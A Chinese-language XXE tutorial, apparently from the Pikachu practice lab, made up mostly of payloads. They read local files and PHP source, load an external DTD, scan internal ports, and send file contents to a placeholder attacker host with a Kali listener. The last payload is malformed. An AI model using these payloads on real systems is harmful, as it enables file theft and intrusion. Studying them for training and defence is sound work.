漏洞描述:
XML外部实体注入(XML Extenrnal Entity Injection),简称XXE漏洞。引发XXE漏洞的主要原因是XML解析依赖库libxm|默认开启了对外部实体的引用,导致服务端在解析用户提交的XML信息时未作处理直接进行解析,导致加载恶意的外部文件和代码,造成任意文件读取,命令执行(利用条件苛刻)、内网扫描等危害。
-----------------------------------------------
利用条件:
libxml<2.9 默认开启
-----------------------------------------------
XML特性:
XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 HTML
XML 的设计宗旨是传输数据,而非显示数据
XML 标签没有被预定义。您需要自行定义标签
XML 被设计为具有自我描述性。
XML是 W3C 的推荐标准
XML 是不作为的
XML 仅仅是纯文本
XML 可以发明自己的标签
------------------------------------------------
打开pikachu漏洞练习平台
-------------------------------------------------
攻击语句:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe "123">]>
<foo>&xxe;</foo>
回显123
-----------------------------------------------
EXP:查看文件:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]> <foo>&xxe;</foo>
回显win.ini文件内容.
------------------------------------------------------
EXP:查看源码:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=D:/phpstudy_pro/WWW/1.php" > ]>
<foo>&xxe;</foo>
访问绝对路径的1.php 使用base64解码获得文件内容
-------------------------------------------------------
EXP:DTD外部调用:
创建文件evil.dtd
<!ENTITY evil SYSTEM "file:///c:/windows/system.ini" >
<!DOCTYPE foo
[<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://127.0.0.1/evil.dtd" >
%xxe;
]>
<foo>&evil;</foo>
访问获得文件内容.
---------------------------------------------------
EXP:探测内网存活主机与开放端口
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://127.0.0.1:80" > ]>
<x>&rabbit;</x>
修改端口号进行提交,端口未开浏览器会一直转圈提交。
-----------------------------------------------------------
EXP:无回显探测
创建evil.dtd文件:
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://xxx.xxx.xx.xxx:8888/?%file;'>">
%start;
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://127.0.0.1/evil.dtd'><!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/456.txt">%remote;%send;]>
选择攻击机进行监听:打开kali开启监听 。
输入代码:
返回kali查看信息:
使用base63解码解出文件内容 :